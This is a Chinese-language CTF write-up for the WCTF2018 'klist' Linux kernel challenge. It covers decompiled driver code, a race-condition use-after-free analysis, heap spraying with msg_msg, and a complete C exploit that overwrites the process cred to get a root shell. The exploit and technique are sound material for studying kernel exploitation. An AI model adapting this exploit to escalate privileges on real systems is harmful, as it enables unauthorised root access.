24 Mar 2020

WCTF2018-klist

WCTF2018-klist

run.sh

#!/bin/sh

qemu-system-x86_64 -enable-kvm -cpu kvm64,+smep -kernel ./bzImage -append "cons
ole=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" -initrd ./rootfs.cpi
o -nographic -m 128M -smp cores=2,threads=2,sockets=1 -monitor /dev/null -nogra
phic

本来是2G,👴虚拟🐓才2G,所以👴改成128M

两个内核,两个线程

init

#!/bin/sh

mount -nvt tmpfs none /dev
mknod -m 622 /dev/console c 5 1
mknod -m 666 /dev/null c 1 3
mknod -m 666 /dev/zero c 1 5
mknod -m 666 /dev/ptmx c 5 2
mknod -m 666 /dev/tty c 5 0
mknod -m 0660 /dev/ttyS0 c 4 64
mknod -m 444 /dev/random c 1 8
mknod -m 444 /dev/urandom c 1 9
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts

mount -t proc proc /proc
mount -t sysfs sysfs /sys

cat /root/signature

echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

insmod /list.ko
mknod /dev/klist c 137 1
chmod a+rw /dev/klist
cat /proc/kallsyms |grep commit_cred
lsmod
#cat /sys/module/list/sections/.text 
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys

halt -d 1 -n -f

list.ko

  • item结构

    struct item { 
        int32 flag;
        int32 wdnmd;
        int64 size;
        char* fd;
        char buf[size];
    };
    
  • list_ioctl

    signed __int64 __fastcall list_ioctl(__int64 a1, unsigned int a2, __int64 a3)
    {
      if ( a2 == 0x1338 )
        return select_item(a1, a3);
      if ( a2 <= 0x1338 )
      {
        if ( a2 == 0x1337 )
          return add_item(a3);
      }
      else
      {
        if ( a2 == 0x1339 )
          return remove_item(a3);
        if ( a2 == 0x133A )
          return list_head(a3);
      }
      return -22LL;
    }
    

    四个功能

  • get

    void __fastcall get(volatile signed __int32 *a1)
    {
      _InterlockedIncrement(a1);
    }
    

    原子性的加法

  • put

    __int64 __fastcall put(volatile signed __int32 *a1)
    {
      __int64 result; // rax
      
      if ( a1 )
      {
        if ( !_InterlockedDecrement(a1) )
          result = kfree(a1);
      }
      return result;
    }
    

    原子性的减法,减为0时free

  • select_item

    signed __int64 __fastcall select_item(__int64 a1, __int64 a2)
    {
      __int64 v2; // rbx
      __int64 v3; // rax
      volatile signed __int32 **v4; // rbp
      
      mutex_lock(&list_lock);
      v2 = g_list;
      if ( a2 > 0 )
      {
        if ( !g_list )
        {
    LABEL_9:
          mutex_unlock(&list_lock);
          return -22LL;
        }
        v3 = 0LL;
        while ( 1 )
        {
          ++v3;
          v2 = *(v2 + 16);
          if ( a2 == v3 )
            break;
          if ( !v2 )
            goto LABEL_9;
        }
      }
      if ( !v2 )
        return -22LL;
      get(v2);
      mutex_unlock(&list_lock);
      v4 = *(a1 + 200);
      mutex_lock(v4 + 1);
      put(*v4);
      *v4 = v2;
      mutex_unlock(v4 + 1);
      return 0LL;
    }
    

    遍历查找第a2个chunk,然后get

    put原来放在a1 + 200的chunk,把第a2个chunk放进去

  • add_item

    signed __int64 __fastcall add_item(__int64 a1)
    {
      __int64 v1; // rax
      unsigned __int64 v2; // rdx
      __int64 v3; // rsi
      __int64 v4; // rbx
      __int64 v5; // rax
      signed __int64 result; // rax
      unsigned __int64 v7; // [rsp+0h] [rbp-18h]
      __int64 v8; // [rsp+8h] [rbp-10h]
      
      if ( copy_from_user(&v7, a1, 16LL) || v7 > 0x400 )
        return -22LL;
      v1 = _kmalloc(v7 + 24, 21103296LL);
      v2 = v7;
      v3 = v8;
      *v1 = 1;
      v4 = v1;
      *(v1 + 8) = v2;
      if ( copy_from_user(v1 + 24, v3, v2) )
      {
        kfree(v4);
        result = -22LL;
      }
      else
      {
        mutex_lock(&list_lock);
        v5 = g_list;
        g_list = v4;
        *(v4 + 16) = v5;
        mutex_unlock(&list_lock);
        result = 0LL;
      }
      return result;
    }
    

    传入参数是结构体

    struct fuck { 
        int size;
        char* buf;
    };
    

    kmalloc申请size为size+0x18,然后把buf内容拷贝过去,把g_list写到fd,flag置1

  • remove_item

    signed __int64 __fastcall remove_item(__int64 a1)
    {
      __int64 v1; // rax
      signed __int64 v2; // rdx
      __int64 v3; // rdi
      volatile signed __int32 *v5; // rdi
      
      if ( a1 >= 0 )
      {
        mutex_lock(&list_lock);
        if ( !a1 )
        {
          v5 = g_list;
          if ( g_list )
          {
            g_list = *(g_list + 16);
            put(v5);
            mutex_unlock(&list_lock);
            return 0LL;
          }
          goto LABEL_12;
        }
        v1 = g_list;
        if ( a1 != 1 )
        {
          if ( !g_list )
          {
    LABEL_12:
            mutex_unlock(&list_lock);
            return -22LL;
          }
          v2 = 1LL;
          while ( 1 )
          {
            ++v2;
            v1 = *(v1 + 16);
            if ( a1 == v2 )
              break;
            if ( !v1 )
              goto LABEL_12;
          }
        }
        v3 = *(v1 + 16);
        if ( v3 )
        {
          *(v1 + 16) = *(v3 + 16);
          put(v3);
          mutex_unlock(&list_lock);
          return 0LL;
        }
        goto LABEL_12;
      }
      return -22LL;
    }
    

    遍历查找第a1个chunk,从链表上摘下来,put

  • list_head

    unsigned __int64 __fastcall list_head(__int64 a1)
    {
      __int64 v1; // rbx
      unsigned __int64 v2; // rbx
      
      mutex_lock(&list_lock);
      get(g_list);
      v1 = g_list;
      mutex_unlock(&list_lock);
      v2 = -(copy_to_user(a1, v1, *(v1 + 8) + 24LL) >= 1) & 0xFFFFFFFFFFFFFFEALL;
      put(g_list);
      return v2;
    }
    

    把首个chunk的数据返回给用户,用get和put标识正在操作

  • list_read

    signed __int64 __fastcall list_read(__int64 a1, __int64 a2, unsigned __int64 a3)
    {
      __int64 v3; // r12
      unsigned __int64 v4; // rbx
      __int64 *v5; // r13
      __int64 v6; // rsi
      signed __int64 v7; // rdi
      signed __int64 result; // rax
      
      v3 = a2;
      v4 = a3;
      v5 = *(a1 + 200);
      mutex_lock(v5 + 1);
      v6 = *v5;
      if ( *v5 )
      {
        if ( *(v6 + 8) <= v4 )
          v4 = *(v6 + 8);
        v7 = (v5 + 1);
        if ( copy_to_user(v3, v6 + 24, v4) )
        {
          mutex_unlock(v7);
          result = -22LL;
        }
        else
        {
          mutex_unlock(v7);
          result = v4;
        }
      }
      else
      {
        mutex_unlock(v5 + 1);
        result = -22LL;
      }
      return result;
    }
    

    读select_item选择的chunk的buf

  • list_write

    signed __int64 __fastcall list_write(__int64 a1, __int64 a2, unsigned __int64 a3)
    {
      unsigned __int64 v3; // rbx
      __int64 *v4; // rbp
      __int64 v5; // rdi
      __int64 v6; // rax
      signed __int64 v7; // rdi
      signed __int64 result; // rax
      
      v3 = a3;
      v4 = *(a1 + 200);
      mutex_lock(v4 + 1);
      v5 = *v4;
      if ( *v4 )
      {
        if ( *(v5 + 8) <= v3 )
          v3 = *(v5 + 8);
        v6 = copy_from_user(v5 + 24, a2, v3);
        v7 = (v4 + 1);
        if ( v6 )
        {
          mutex_unlock(v7);
          result = -22LL;
        }
        else
        {
          mutex_unlock(v7);
          result = v3;
        }
      }
      else
      {
        mutex_unlock(v4 + 1);
        result = -22LL;
      }
      return result;
    }
    

    写select_item选择的chunk的buf

uaf

list_head中

  mutex_lock(&list_lock);
  get(g_list);
  v1 = g_list;
  mutex_unlock(&list_lock);
  v2 = -(copy_to_user(a1, v1, *(v1 + 8) + 24LL) >= 1) & 0xFFFFFFFFFFFFFFEALL;
  put(g_list);

直接对g_list操作,先锁上,在put之前解锁

add_item中

  else
  {
    mutex_lock(&list_lock);
    v5 = g_list;
    g_list = v4;
    *(v4 + 16) = v5;
    mutex_unlock(&list_lock);
    result = 0LL;
  }

没锁就可以add

线程间的add和list竞争,在A线程add中的mutex_lock(&list_lock);前,B线程执行到list中的mutex_unlock(&list_lock);,A线程add结束,B线程再执行到put(g_list);

这样第一个chunk就变成了已经free的chunk,可以uaf

do_msgsnd

用户空间中执行

#define BUFF_SIZE 96-48

struct {
    long mtype;
    char mtext[BUFF_SIZE];
} msg;

memset(msg.mtext, 0x42, BUFF_SIZE-1);
msg.mtext[BUFF_SIZE] = 0;
msg.mtype = 1;

int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);

msgsnd(msqid, &msg, sizeof(msg.mtext), 0);

BUFF_SIZE为48

进入do_msgsnd

long do_msgsnd(int msqid, long mtype, void __user *mtext,
                size_t msgsz, int msgflg)
{
        struct msg_queue *msq;
        struct msg_msg *msg;
        int err;
        struct ipc_namespace *ns;

        ns = current->nsproxy->ipc_ns;

        if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
                return -EINVAL;
        if (mtype < 1)
                return -EINVAL;

[1]     msg = load_msg(mtext, msgsz);
...

在load_msg()分配96字节对象,48字节struct msg_msg,48字节消息正文,然后将用户空间缓冲区内容复制msg_msg结构体后面

struct msg_msg *load_msg(const void __user *src, size_t len)
{
        struct msg_msg *msg;
        struct msg_msgseg *seg;
        int err = -EFAULT;
        size_t alen;

        msg = alloc_msg(len);
        if (msg == NULL)
                return ERR_PTR(-ENOMEM);

        alen = min(len, DATALEN_MSG);
[2]     if (copy_from_user(msg + 1, src, alen))
                goto out_err;

        for (seg = msg->next; seg != NULL; seg = seg->next) {
                len -= alen;
                src = (char __user *)src + alen;
                alen = min(len, DATALEN_SEG);
                if (copy_from_user(seg + 1, src, alen))
                        goto out_err;
        }
...

alloc_msg

static struct msg_msg *alloc_msg(size_t len)
{
        struct msg_msg *msg;
        struct msg_msgseg **pseg;
        size_t alen;

[3]     alen = min(len, DATALEN_MSG);
        msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL);
        if (msg == NULL)
                return NULL;

        msg->next = NULL;
        msg->security = NULL;

        len -= alen;
        pseg = &msg->next;
        while (len > 0) {
                struct msg_msgseg *seg;
                alen = min(len, DATALEN_SEG);
[4]             seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL);
                if (seg == NULL)
                        goto out_err;
                *pseg = seg;
                seg->next = NULL;
                pseg = &seg->next;
                len -= alen;
        }
...
struct msg_msgseg {
    struct msg_msgseg* next;
    /* the next part of the message follows immediately */
};

DATALEN_MSG为4048字节,消息长度大于DATALEN_MSG,认为消息由多段组成,大于DATALEN_MSG的部分被分成不同的段,每段是一个next指针,后面跟上消息

消息正文可控,头部48字节msg_msg不可控

/* one msg_msg structure for each message */
struct msg_msg {
    struct list_head m_list;
    long m_type;
    int m_ts; /* message text size */
    struct msg_msgseg* next;
    void *security;
    /* the actual message follows immediately */
};

msg_msg+0x8是m_type,long型,如果申请到item中,对应的位置是size,可以把size改大,越界读取

exp

利用do_msgsnd,申请到条件竞争中得到的uaf chunk,m_type写到size

select之后read、write,size已经被改大,可以越界读、越界写

先读,如果读到了cred,改了再写回去,提权

能不能读到cred看脸

//gcc -static exp.c  -o nmsl
//musl-gcc -static exp.c -o fuck && strip fuck
#define _GNU_SOURCE  
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <string.h>

#define BUFF_SIZE 96-48

struct {
    long mtype;
    char mtext[BUFF_SIZE];
} msg;

void fuck(){
memset(msg.mtext, 0x42, BUFF_SIZE-1);
msg.mtext[BUFF_SIZE] = 0;
msg.mtype = 1;

int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);

msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
}

struct item
{
  size_t size;
  char *data;
};

int add_item(int fd,size_t size,char *ptr){
	struct item it;
	it.size = size;
	it.data = ptr;
	ioctl(fd,0x1337,&it);
	return 0;

}

int select_item(int fd,size_t index){
	ioctl(fd,0X1338,index);
	return 0;
}

int list_head(int fd,char *buf){
	if (buf!=0){
		ioctl(fd,0X133a,buf);
		return 0;
	}
}

int myMemmem(char * a, int alen, char * b, int blen)
{
	int i, j;
	for (i = 0; i <= alen - blen; ++ i)
	{
		for (j = 0; j < blen; ++ j)
		{
			if (a[i + j] != b[j])
			{
				break;
			}
		}
		if (j >= blen)
		{
			return i;
		}
	}
	return -1;
}


int main(){
	int fd;
	fd = open("/dev/klist",O_RDWR);
	char *buf = malloc(0x100);
	memset(buf,'a',0x100);
	add_item(fd,96-0x18,buf);
	int i;
	if(fork()==0){
		for(int j = 0;j<1000;j++){
			add_item(fd,96-0x18,buf);
			list_head(fd,buf);
			if (*(int *)buf == 1){
				puts("uaf");
				exit(-1);
			}
		}
		exit(0);
	}
	for(i = 0;i<2000;i++){
		list_head(fd,buf);
	}
	puts("done");
	getchar();

	for(i = 0;i<10;i++){
		if(fork()==0){
			fuck();
			exit(0);
		}
	}
	puts("done");
	getchar();

	select_item(fd,0);
	int size = 0x1000000;
	char *shit_hole = malloc(size);
	read(fd,shit_hole,size);

	size_t cred[10];
	cred[0] = 0;
	cred[1] = 0x000003e800000003;
	cred[2] = 0x000003e8000003e8;
	cred[3] = 0x000003e8000003e8;
	cred[4] = 0x000003e8000003e8;
	cred[5] = 0x3e8;

	int offset = myMemmem(shit_hole,size,cred,0x30);
	if (offset==-1){
		puts("gg");
		exit(-1);
	}

	cred[0] = 0;
	cred[1] = 3;
	cred[2] = 0;
	cred[3] = 0;
	cred[4] = 0;
	cred[5] = 0;
	memcpy(shit_hole+offset,cred,0x30);
	//memset(shit_hole+offset,'\x00',0x30);
	write(fd,shit_hole,offset+0xb0);

	if (getuid() == 0){
		puts("root\n");
		system("/bin/sh");
	}
	exit(-1);

}

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).